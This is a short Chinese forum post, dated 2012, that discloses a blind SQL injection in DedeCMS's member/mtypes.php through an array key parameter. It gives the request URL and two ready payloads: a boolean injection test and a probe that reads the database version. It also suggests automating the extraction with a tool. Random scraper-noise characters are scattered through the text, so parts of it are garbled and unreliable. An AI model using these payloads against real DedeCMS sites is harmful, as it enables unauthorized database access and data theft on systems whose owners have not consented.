需要magic_quotes_gpc = Off,所以说是鸡肋啊.$ ^2 F4 @' x5 M4 s: a, b
P3 q) c! ?4 J4 _8 U6 H" x2 Q
, A1 d5 p, E- S+ A# a" Y发生在数组key里的注射漏洞,有点意思.& C4 d( |; @# g z/ d" ]
( b. o \3 M7 t$ u9 U
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下- {4 W0 P- Z+ e! P+ n, T) i
" N; p) [ E# _+ Yhttp://www.xxx.com /dede/member/mtypes.php?dopost=save$ Z: P( n, `; i+ t6 t
# G6 ?- D0 [, K4 E9 w7 B6 cexploit:
5 ^0 B" F3 d$ imtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
' Q; J0 n- ^7 W, e' |. M p& Ymtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r) v2 [& q$ u( ^0 W4 O
|
发表于 2012-12-20 08:08:09
收藏
支持
反对